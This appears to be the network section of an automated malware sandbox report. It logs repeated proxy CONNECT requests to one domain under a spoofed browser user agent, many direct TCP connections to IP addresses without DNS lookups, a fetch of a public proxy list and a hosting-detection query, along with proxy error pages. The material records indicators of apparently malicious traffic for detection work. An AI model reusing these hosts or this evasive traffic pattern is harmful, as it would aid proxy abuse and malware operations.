Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3Host: heygirlisheeverythingyouwantedinaman.comProxy-Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 45.77.111.135
Source: unknown	TCP traffic detected without corresponding DNS query: 203.161.32.242
Source: unknown	TCP traffic detected without corresponding DNS query: 18.141.177.23
Source: unknown	TCP traffic detected without corresponding DNS query: 103.141.66.78
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.6.97
Source: unknown	TCP traffic detected without corresponding DNS query: 45.11.95.165
Source: unknown	TCP traffic detected without corresponding DNS query: 103.186.8.162
Source: unknown	TCP traffic detected without corresponding DNS query: 103.169.130.46
Source: unknown	TCP traffic detected without corresponding DNS query: 91.187.55.39
Source: unknown	TCP traffic detected without corresponding DNS query: 41.74.91.244
Source: unknown	TCP traffic detected without corresponding DNS query: 20.219.180.149
Source: unknown	TCP traffic detected without corresponding DNS query: 160.248.80.91
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.254.127
Source: unknown	TCP traffic detected without corresponding DNS query: 154.72.90.74
Source: unknown	TCP traffic detected without corresponding DNS query: 72.167.222.113
Source: unknown	TCP traffic detected without corresponding DNS query: 103.26.108.118
Source: unknown	TCP traffic detected without corresponding DNS query: 92.204.134.38
Source: unknown	TCP traffic detected without corresponding DNS query: 50.217.226.43
Source: unknown	TCP traffic detected without corresponding DNS query: 190.186.237.103
Source: unknown	TCP traffic detected without corresponding DNS query: 152.32.78.24
Source: unknown	TCP traffic detected without corresponding DNS query: 201.20.67.70
Source: unknown	TCP traffic detected without corresponding DNS query: 117.70.49.235
Source: unknown	TCP traffic detected without corresponding DNS query: 162.241.70.64
Source: unknown	TCP traffic detected without corresponding DNS query: 14.103.24.148
Source: unknown	TCP traffic detected without corresponding DNS query: 207.180.234.220
Source: unknown	TCP traffic detected without corresponding DNS query: 85.120.30.66
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.254.127
Source: unknown	TCP traffic detected without corresponding DNS query: 172.67.254.127
Source: unknown	TCP traffic detected without corresponding DNS query: 104.16.226.6
Source: unknown	TCP traffic detected without corresponding DNS query: 142.54.237.34
Source: unknown	TCP traffic detected without corresponding DNS query: 3.24.58.156
Source: unknown	TCP traffic detected without corresponding DNS query: 43.133.136.208
Source: unknown	TCP traffic detected without corresponding DNS query: 200.174.198.95
Source: unknown	TCP traffic detected without corresponding DNS query: 45.56.220.210
Source: unknown	TCP traffic detected without corresponding DNS query: 103.226.232.188
Source: unknown	TCP traffic detected without corresponding DNS query: 104.21.6.88
Source: unknown	TCP traffic detected without corresponding DNS query: 116.97.240.147
Source: unknown	TCP traffic detected without corresponding DNS query: 143.255.140.28
Source: unknown	TCP traffic detected without corresponding DNS query: 113.53.3.242
Source: unknown	TCP traffic detected without corresponding DNS query: 103.167.68.255
Source: unknown	TCP traffic detected without corresponding DNS query: 122.152.53.25
Source: unknown	TCP traffic detected without corresponding DNS query: 51.222.241.157
Source: unknown	TCP traffic detected without corresponding DNS query: 8.209.255.13
Source: unknown	TCP traffic detected without corresponding DNS query: 162.214.90.49
Source: unknown	TCP traffic detected without corresponding DNS query: 194.4.50.91
Source: unknown	TCP traffic detected without corresponding DNS query: 103.199.155.18
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 4.182.9.108
Source: unknown	TCP traffic detected without corresponding DNS query: 208.109.14.49

Source: global traffic	HTTP traffic detected: GET /TheSpeedX/PROXY-List/blob/master/http.txt HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: unknown

DNS traffic detected: queries for: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Mon, 11 Mar 2024 15:39:44 GMTContent-Type: text/html;charset=utf-8Content-Length: 3703X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 33 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313873"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 36 35 32 39 37 31 39 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003906529719"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908313874"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
